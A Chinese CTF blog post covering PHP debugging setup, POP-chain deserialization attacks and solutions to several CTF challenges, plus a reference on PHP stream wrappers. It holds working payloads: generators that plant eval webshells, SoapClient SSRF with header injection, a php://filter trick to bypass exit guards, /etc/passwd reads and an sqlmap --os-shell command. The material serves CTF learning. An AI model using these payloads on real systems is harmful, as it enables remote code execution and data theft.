分类 Web 下的文章

起因

由于输出调试法不灵活,而且不方便动态修改东西,所以我打算使用phpstudy_pro的方式进行本地部署php,然后本地搭建调试环境。
phpstudy 下载: https://www.xp.cn/download.html
vscode 下载: https://code.visualstudio.com/

phpstudy的配置

下载后打开,我们这里选择是Apache2.4.39+php7.3.4nts,Xdebug是phpstudy自动给你配置的
2024-07-08T16:43:33.png

为了配置XDebug,我们按照如下图配置你当前使用的php版本
2024-07-08T16:44:57.png
然后在设置界面,我们还需完善php.ini,使用编辑器打开php.ini,修改Xdebug段为下面的路径,注意绝对路径要替换成你的。

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.trace_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=On
xdebug.profiler_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.profiler
xdebug.remote_enable=On
xdebug.remote_autostart = On 
xdebug.remote_host=localhost
xdebug.remote_port=9001
xdebug.remote_handler=dbgp

然后回到主页,手动重启Apache,这样phpstudy这边的就算是配置好了。
2024-07-08T16:47:17.png

vscode 的配置

我们需要3个插件
2024-07-08T16:47:37.png
2024-07-08T16:47:53.png
2024-07-08T16:48:20.png
然后,在vscode的设置里面,转到settings.json,手动配置,加上

// PHP
"php.debug.executablePath": "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php.exe",
"open-php-html-js-in-browser.documentRootFolder": "D:/phpstudy_pro/WWW",
"php.validate.executablePath": "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php.exe",
"open-php-html-js-in-browser.selectedBrowser": "Chrome",

注意,phpstudy的路径应替换成你的路径,WWW路径是网站的根目录。

最后,使用vscode打开网站根目录
2024-07-08T16:50:03.png

打开一个php文件,在运行和调试的地方创建新的launch.json
把这个json里面的端口改成你phpstudy中配置的xdebug调试端口。
2024-07-08T16:51:25.png

最后,按下F5或者选择Listen for Xdebug即可开始监听,下断点后,浏览器访问即可断下。

POP是什么

Property Overwrite Protection 是一种通过反序列化来构造的攻击载荷。

Example 1

<?php
class test {
    private $index;

    function __construct()
    {
        $this->index = new index();
    }

    function __destruct()
    {
        $this->index->hello();
    }
}

class index{
    public function hello()
    {
        echo 'nihao';
    }
}

class execute{
    public $test;
    function hello()
    {
        eval($this->test);
    }
}

unserialize($_GET['test']);

代码分析:
先注意到了execute类的hello函数,里面调用了关键函数eval,只要$this->test可控,那么我们就可以RCE (远程代码执行)。然后注意到会把GET参数test反序列化,我们考虑反序列化漏洞,由于这三个类中,只有test类有__construct__construct魔术方法在类创建的时候执行而不会在unserialize后执行,反序列化会把文本转成类,那么我们只要对test这个类反序列化,并且初始化index后,最后在执行完毕后,php会回收掉test,这样就会调用__destruct,执行hello函数,如果这个$this->index是execute类,那么我们就成功地执行了eval,成功执行了RCE

payload 生成代码:

<?php
class test {
    private execute $index;
    function __construct()
    {
        $this->index = new execute();
    }

}

class execute{
    public $test = "system(\"calc\");";
}

echo urlencode(serialize(new test()));

利用链:
unserialize()->test::__destruct()->execute::hello()->*eval*

payload:

?test=O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00test%00index%22%3BO%3A7%3A%22execute%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A15%3A%22system%28%22calc%22%29%3B%22%3B%7D%7D

[MRCTF2020]Ezpop

题目

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

注意到include函数,可以把文本读取进来,如果是include("a.php")这样的,他会执行php然后echo出来里面输出的东西。特别的,如果php开了allow_url_include(这个默认下是关闭的),就可以执行RCE,我们可以按照GET的方法传递进去参数,如下图。(不过这个题目是没有开这个的,所以无法进行RCE
2024-07-08T12:15:07.png
我们开始分析代码:
Modifier 类中的append函数会进行include操作,这是我们需要执行的,而要执行这个,在整个代码中只有它自己的类中的__invoke()函数中执行,类中的$var就是我们要修改为flag位置的参数。
我们接着看,Modifier 方法只能由 Test类中的__get()函数进行调用,因为__invoke()函数是在当前实例化类被当作函数调用的时候执行的,而__get()函数在调用类的实例化的变量且该方法不能被访问或者不存在的时候被调用,参数$key就是这个名字(不过在这个题目中没用到),要调用__get(),我们发现在Show类中的__toString中可以进行。
如果Show中的$this->str是Test类,那么显然调用的source是不存在的,会触发__get(),而如果要调用__toString,我们发现必须要在把Show类转成文本的时候才能被调用,我们找了半天,发现只有当Show类中的$source为Show类的时候才能在__wakeup时候调用$source,导致__toString,因为__wakeup会在unserialize时候调用,而不会调用__construct,所以我们需要想办法让Show类自己包含自己,所以我们可以在__construct中加一个bool变量,如果是外面初始化,传入一个true,使得$source初始化为一个Show对象,如果是自己初始化就是传入一个false,防止递归初始化,这样就完成了我们payload的构造。

利用链:
unserialize()->Show::__wakeup()->Show::__toString()->Test::__get()->Modifier::__invoke()->Modifier::append()->include()

我们如果直接include("flag.php"),我们会发现它返回了一个Help me find flag但是没有flag,我们可以猜测flag作为变量,在执行php的时候不会输出。所以我们以php的伪协议进行读取,这样就能读取到原文内容。
php://filter/read=convert.base64-encode/resource=flag.php

<?php
class Modifier {
    protected  $var;

    public function __construct()
    {
        $this->var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    }
    public function append($value){
        include($value);
    }
    public function __invoke(){ // from Test
        $this->append($this->var);
    }
}

class Show{
    public $source; // Show
    public $str; // Test
    public function __construct(bool $a){
        if($a)
        {
            $this->source = new Show(false);
        }
        $this->str = new Test();
    }
}

class Test{
    public $p; // $p = new Modifier;
    public function __construct(){
        $this->p = new Modifier();
    }
}

echo urlencode(@serialize(new Show(true)));

payload

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
<?php
class Flag{
    private $flag= "flag{130a038b-39e2-4bf5-91e2-54f04b2cc570}";
}
echo "Help Me Find FLAG!";
?
  • 有关PHP伪协议的介绍在文章末尾。

[MRCTF2020]Ezpop_Revenge

由于buu不能开扫,我们从其他地方可以知道/www.zip泄露
/flag.php

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

/usr/plugins/HelloWorld/Plugin.php

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
// 省略..............
public function action(){
    if(!isset($_SESSION)) session_start();
    if(isset($_REQUEST['admin'])) var_dump($_SESSION);
    if (isset($_POST['C0incid3nc3'])) {
        if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
            unserialize(base64_decode($_POST['C0incid3nc3']));
        else {
            echo "Not that easy.";
        }
    }
}

我们找HelloWorld_Plugin,在/var/Typecho/Plugin.php里面找到了路由的定义

public static function activate($pluginName)
{
    self::$_plugins['activated'][$pluginName] = self::$_tmp;
    self::$_tmp = array();
    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

于是我们测试一下:
2024-07-08T13:50:14.png
接下来就要想办法unserialize了
想不到办法,参考了一下别人的Writeups:
2024-07-08T14:05:50.png
这个地方初始化了Typecho_Db类,我们追踪过去
2024-07-08T14:06:46.png
Typecho_Db类中有一行提示我们使用__toString(),只要当我们的$adapterName是一个类的时候,就能触发某个类的__toString()方法,我们全局搜索后发现其中一个__toString()位于Query.php,我们发现当满足SELECT判断分支的时候,会return一个return $this->_adapter->parseSelect($this->_sqlPreBuild);,我们可以把_adapter替换掉,替换为SoapClient,这是一个php原生提供的可以用于SSRF (服务器端请求伪造)的类,之所以选择这个类,是因为这个类具有__call()的方法,这个方法允许在调用该类中不存在的函数的时候来调用这个函数。
利用链:

*HTTP 请求*
->HelloWorld_Plugin::action()
->*unserialize*
    ->HelloWorld_DB::__wakeup()
    ->HelloWorld_DB::Typecho_Db()
    ->HelloWorld_DB::__construct()
        ->Typecho_Db_Query::__toString()
            ->SoapClient::__call()
                ->*SSRF*

payload 构造php

<?php 
class HelloWorld_DB{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence['hello'] = new Typecho_Db_Query();
        $this->coincidence['world'] = 'test';
    }
}

class Typecho_Db_Query{
    private $_sqlPreBuild;
    private $_adapter;
        private $_prefix;
    public function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=ns2stb0uf697tul76l3atumec0"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'test', 'location' => $target, 'user_agent' => "test\r\n" . join("\r\n", $headers)));
        $this->_sqlPreBuild['action'] = "SELECT";
    }

}
$A=new HelloWorld_DB();

echo urlencode(base64_encode(serialize($A)));
?>

payload

POST /page_admin?admin=1 HTTP/1.1
Host: 2bcd997c-f360-4ec8-b896-56395dd436c5.node5.buuoj.cn
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 708
Cookie: PHPSESSID=ns2stb0uf697tul76l3atumec0



C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7czoyNjoiAEhlbGxvV29ybGRfREIAY29pbmNpZGVuY2UiO2E6Mjp7czo1OiJoZWxsbyI7TzoxNjoiVHlwZWNob19EYl9RdWVyeSI6Mzp7czozMDoiAFR5cGVjaG9fRGJfUXVlcnkAX3NxbFByZUJ1aWxkIjthOjE6e3M6NjoiYWN0aW9uIjtzOjY6IlNFTEVDVCI7fXM6MjY6IgBUeXBlY2hvX0RiX1F1ZXJ5AF9hZGFwdGVyIjtPOjEwOiJTb2FwQ2xpZW50Ijo1OntzOjM6InVyaSI7czo0OiJ0ZXN0IjtzOjg6ImxvY2F0aW9uIjtzOjI1OiJodHRwOi8vMTI3LjAuMC4xL2ZsYWcucGhwIjtzOjE1OiJfc3RyZWFtX2NvbnRleHQiO2k6MDtzOjExOiJfdXNlcl9hZ2VudCI7czo3NzoidGVzdA0KWC1Gb3J3YXJkZWQtRm9yOjEyNy4wLjAuMQ0KQ29va2llOiBQSFBTRVNTSUQ9bnMyc3RiMHVmNjk3dHVsNzZsM2F0dW1lYzAiO3M6MTM6Il9zb2FwX3ZlcnNpb24iO2k6MTt9czoyNToiAFR5cGVjaG9fRGJfUXVlcnkAX3ByZWZpeCI7Tjt9czo1OiJ3b3JsZCI7czo0OiJ0ZXN0Ijt9fQ%3D%3D

然后可以在Response最后观察到

</body>array(1) {
  ["flag"]=>
  string(42) "flag{0492d042-1156-4f9d-bf52-22719b3fc3b3}"
}

[EIS 2019]EzPOP

题目

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}


if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

代码审计:最下面有unserialize(),参数可控,由于只有A类有魔术方法,我们只能选择反序列化A类,反序列化时__construct不会被调用,但是在php执行完毕进行对象回收的时候,会调用__destruct,显然我们需要控制$autosave,让__destruct执行$this->save(),我们来到save函数,注意到contents来源于getForStorage,而这个函数里面可控$this->cache$this->complete,我们继续看,他会调用$this->store->set,注意到set函数只有B类中有,所以$store必须初始化为B类。注:cleanContents我们先不看。
我们接着看B类,调用的set函数的三个参数都是可控的,只不过第二个参数的样式不可控,因为经过了json_encode,导致它是一个类似于[1,"2"]这样的文本,我们接着看下面,$expire无法在文件中写入关键代码,因为它被强制转为了int,而且在写入的文本中,那一行还是注释,而且接下来一行马上就是exit();我们可以想到php绕过死亡exit的方法,因为他是通过file_put_contents来写入的,而$filename只要可控,那么就可以填入php伪协议,导致可以通过filter把写入的东西走一次base64_decode,这样以来,我们只要在$data后面附加上base64编码过的恶意代码,而前面的由于不是base64编码后的文本,php解码后将会是乱码,这样,前面就当成了静态页面,不会被执行,而我们后面的代码只要加上<?php ?>就可以当作代码进行执行。
我们接着看,我们显然不需要压缩,所以到时候把$options['data_compress']设置为false即可。
ok,我们现在唯一的目的就是让$filename可控,我们注意到getCacheKey函数,显然$name可控,只需要$options['prefix']为空文本即不影响$name,导致$filename完全可控。
最后,我们需要让$data可控,注意到$data走了一次$this->serialize(),我们进去看,注意到只需要$this->options['serialize']是一个不影响参数的函数即可,注意这个地方不能是闭包,因为序列化只能序列化对象而不能是函数,所以我们可以填入文本,这样他就可以“调用”文本来调用我们的函数,我们只需要让$this->options['serialize'] = 'urldecode',当然这是由于urldecode不会修改我的data,如果你需要更严谨,可以试试strval,最后我们就可以写出PoC来获取payload

<?php


class B {
    public function __construct() {
        $this->options['serialize'] = 'urldecode';
        $this->options['data_compress'] = false;
        $this->options['prefix'] = "";
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }
}


class A {
    private $autosave;

    protected $store;

    protected $key;

    protected $expire;

    public function __construct() {
        $this->autosave = true;
        $this->store = new B;
        $this->expire = 1145;
        $this->key = "php://filter/write=convert.base64-decode/resource=eval.php";
        $this->cache = [1,2,3];
        $this->complete =base64_encode(urldecode("%3C?php%20eval(\$_GET%5B'vvv'%5D);%20?%3E"));
    }
}

echo urlencode(@serialize(new A));

值得注意的是,B类中的$options请不要手动定义private $options这样的,请和题目给的类中定义一样即可,要不然会出问题,无法读取。
我们最后得到payload
?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A11%3A%22%00A%00autosave%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A9%3A%22urldecode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Deval.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A1145%3Bs%3A5%3A%22cache%22%3Ba%3A3%3A%7Bi%3A0%3Bi%3A1%3Bi%3A1%3Bi%3A2%3Bi%3A2%3Bi%3A3%3B%7Ds%3A8%3A%22complete%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX0dFVFsndnZ2J10pOyA%2FPg%3D%3D%22%3B%7D
这个payload会在当前目录写下eval.php,我们接着发送?vvv=system("cat /flag");即可拿到flag。
利用链:
unserialize()->A::__destruct()->A::save()->B::set()->**file_put__contents**

[2022DASCTF X SU 三月春季挑战赛]ezpop

题目

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }
}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

注:eval('#' . $xxx);绕过方式介绍:当$xxx为?><?php echo 1;时即可绕过

<?php

class what
{
    public $a;
    public function __construct($stage)
    {
        if($stage == 2)
        {
            $this->a = new mix(3);
        }
    }
}

class mix
{
    public $m1;
    public function __construct($stage)
    {
        if($stage == 3)
        {
            $this->m1 = new crow(4);
        }
        else if($stage == 6)
        {
            $this->m1 = '?><?php; eval($_GET["vvv"]);';
        }
    }
}

class crow
{
    public $v1;
    public $v2;
    public function __construct($stage)
    {
        if($stage == 4)
        {
            $this->v1 = new fin(5);
        }
    }
}

class fin
{
    public $f1;
    public function __construct($stage)
    {
        if($stage == 1)
        {
            $this->f1 = new what(2);
        }
        else if($stage == 5)
        {
            $this->f1 = new mix(6);
        }
    }
}


echo urlencode(@serialize(new fin(1)));

unserialize()->fin::__destruct()->what::__toString()->mix::run()->crow::__invoke()->fin::__call()->mix::get_flag()->**eval**

payload

POST / HTTP/1.1
Host: e8d66867-352a-4db9-b9ea-a2018672953e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded

cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:29:"?><?php; eval($_POST["vvv"]);";}}s:2:"v2";N;}}}}&vvv=system("cat *");

最后记录一下php的伪协议

PHP 伪协议

在 PHP 中,"伪协议"是一种特殊的语法,用于访问不同的资源或执行特定的操作。这些伪协议以 php:// 开头,后面跟着特定的指示符或参数,以实现不同的功能。这些伪协议提供了一种方便的方式来处理各种输入输出操作,而不必依赖于实际的文件或网络资源。
简单的理解就是,在URL中使用特殊的协议前缀来指示PHP执行特定的代码

php.ini参数设置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

  • allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
  • allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

应用:

  1. 文件包含
include()、require()、include_once()、require_once()、highlight_file()
show_source() 、readfile() 、file_get_contents() 、fopen() 、file()

data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

allow_url_fopen和allow_url_include都需要开启。

example:

1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:www.xx.com?file=file:///etc/passwd

php://

不需要开启allow_url_fopen,仅php://input、php://stdin、php://memory和php://temp需要开启allow_url_include。

php://filter

一个中间件,在读入或写入数据的时候对数据进行处理后输出的过程。可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行base64编码,让其不执行,展现在页面上。从而导致任意文件读取。
2024-07-09T18:15:53.png
2024-07-09T18:19:01.png
ctf解题常用:
变量=php://filter/read=convert.base64-encode/resource=文件名

使用的convert.base64-encode,是一种过滤器。
2024-07-09T18:19:22.png
2024-07-09T18:19:32.png
2024-07-09T18:19:43.png
2024-07-09T18:19:58.png

协议参数
2024-07-08T13:09:10.png

利用filter伪协议绕过死亡exit

何为死亡exit?

举个例子:

file_put_contents($content, '<?php exit();' . $content);

// 或者这样
file_put_contents($content, '<?php exit();?>' . $content);

如果想插入一句话木马,文件内容会变成这样

<?php exit();?>

<?php @eval($_POST['test']);?>

即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。

如何绕过?————filter伪协议+base64decode
利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过。

当$content包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。
这个时候后面再加上编码后的一句话木马,就可以getshell了。

php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。在POST请求中访问POST的data部分,在enctype="multipart/form-data"的时候php://input 是无效的。

当传进去的参数作为文件名变量去打开文件时,可以将参数php://input,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取。
2024-07-08T13:12:05.png

其他

php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符,所以如果你打开 php://stdin 并在之后关了它, 仅是关闭了复制品,真正被引用的 STDIN 并不受影响。

注意 PHP 在这方面的行为有很多 BUG 直到 PHP 5.2.1。 推荐简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。

php://stdin 是只读的, php://stdout 和 php://stderr 是只写的。

zip://

可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。相同类型的还有zlib://和bzip2://。

可以配合文件上传获取webshell,将shell.txt压缩成zip,再将后缀名改为jpg上传,通过zip伪协议访问压缩包里的文件,来连接木马

?url=zip://shell.jpg

注意:此处只能传入绝对路径,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23。只要是zip的压缩包即可,后缀名可以任意更改。

phar://

与zip://类似,同样可以访问zip格式压缩包内容
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用 phar 拓展 php 反序列化漏洞攻击面

http:// & https://

allow_url_fopen和allow_url_include都需要开启。
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

sqltest

打开wireshark翻到最下面,因为上面在爆破的是表名。
追踪http流,导出为csv,然后做出和下面s一样的文本格式填到python里面。
因为flag爆破的时候,如果是对的他会再尝试一下以验证,所以我们写个set来拿就行。

s = "1 100\n1 200\n1 150\n1 125\n1 112\n1 106\n1 103\n1 101\n1 102\n1 102\n2 100\n2 200\n2 150\n2 125\n2 112\n2 106\n2 109\n2 108\n2 107\n2 108\n3 100\n3 50\n3 75\n3 88\n3 94\n3 97\n3 96\n3 97\n4 100\n4 200\n4 150\n4 125\n4 112\n4 106\n4 103\n4 101\n4 102\n4 103\n5 100\n5 200\n5 150\n5 125\n5 112\n5 119\n5 122\n5 124\n5 123\n5 123\n6 100\n6 50\n6 75\n6 63\n6 57\n6 54\n6 52\n6 51\n6 52\n7 100\n7 50\n7 75\n7 63\n7 57\n7 54\n7 56\n7 55\n7 55\n8 100\n8 200\n8 150\n8 125\n8 112\n8 106\n8 103\n8 101\n8 100\n8 101\n9 100\n9 50\n9 75\n9 88\n9 94\n9 97\n9 99\n9 100\n10 100\n10 50\n10 75\n10 88\n10 94\n10 97\n10 99\n10 98\n10 98\n11 100\n11 50\n11 75\n11 63\n11 57\n11 54\n11 56\n11 55\n11 56\n12 100\n12 50\n12 75\n12 63\n12 57\n12 54\n12 52\n12 51\n12 51\n13 100\n13 50\n13 25\n13 38\n13 44\n13 47\n13 49\n13 48\n13 48\n14 100\n14 50\n14 25\n14 38\n14 44\n14 47\n14 49\n14 48\n14 48\n15 100\n15 200\n15 150\n15 125\n15 112\n15 106\n15 103\n15 101\n15 100\n15 101\n16 100\n16 50\n16 75\n16 88\n16 94\n16 97\n16 99\n16 100\n17 100\n17 50\n17 75\n17 63\n17 57\n17 54\n17 52\n17 53\n17 53\n18 100\n18 200\n18 150\n18 125\n18 112\n18 106\n18 103\n18 101\n18 102\n18 102\n19 100\n19 50\n19 75\n19 63\n19 57\n19 54\n19 56\n19 57\n20 100\n20 50\n20 75\n20 88\n20 94\n20 97\n20 99\n20 98\n20 98\n21 100\n21 50\n21 25\n21 38\n21 44\n21 47\n21 49\n21 50\n22 100\n22 50\n22 75\n22 63\n22 57\n22 54\n22 56\n22 55\n22 56\n23 100\n23 200\n23 150\n23 125\n23 112\n23 106\n23 103\n23 101\n23 102\n23 102\n24 100\n24 50\n24 75\n24 88\n24 94\n24 97\n24 99\n24 98\n24 99\n25 100\n25 50\n25 75\n25 63\n25 57\n25 54\n25 52\n25 53\n25 53\n26 100\n26 50\n26 75\n26 63\n26 57\n26 54\n26 52\n26 51\n26 52\n27 100\n27 50\n27 75\n27 88\n27 94\n27 97\n27 99\n27 98\n27 98\n28 100\n28 50\n28 25\n28 38\n28 44\n28 47\n28 49\n28 48\n28 48\n29 100\n29 50\n29 75\n29 88\n29 94\n29 97\n29 99\n29 100\n30 100\n30 50\n30 25\n30 38\n30 44\n30 47\n30 49\n30 48\n30 48\n31 100\n31 50\n31 75\n31 63\n31 57\n31 54\n31 56\n31 57\n32 100\n32 200\n32 150\n32 125\n32 112\n32 106\n32 103\n32 101\n32 100\n32 101\n33 100\n33 50\n33 75\n33 88\n33 94\n33 97\n33 99\n33 98\n33 99\n34 100\n34 50\n34 75\n34 88\n34 94\n34 97\n34 99\n34 100\n35 100\n35 200\n35 150\n35 125\n35 112\n35 106\n35 103\n35 101\n35 100\n35 101\n36 100\n36 200\n36 150\n36 125\n36 112\n36 106\n36 103\n36 101\n36 102\n36 102\n37 100\n37 50\n37 75\n37 63\n37 57\n37 54\n37 56\n37 55\n37 55\n38 100\n38 200\n38 150\n38 125\n38 112\n38 119\n38 122\n38 124\n38 125"
m = s.split("\n")
l = [set()] * 43
ans = ["*"] * 43
for i in m:
    a, b = i.split(" ")
    a, b = int(a) - 1, int(b)
    if b in l[a]:
        ans[a] = chr(b)
    l[a].add(b)
print("".join(ans))
# flag{47edb8300ed5f9b28fc54b0d09ecdef7}*****

BUU SQL COURSE 1

python .\sqlmap.py -u "http://b4099114-de59-4bfa-aab0-37905826c8b5.node5.buuoj.cn:81/backend/content_detail.php?id=1" --os-shell --batch
cat /flag

flag{5975ed59-ad8d-4a2f-a503-9f740c2781b7}

sqli-labs

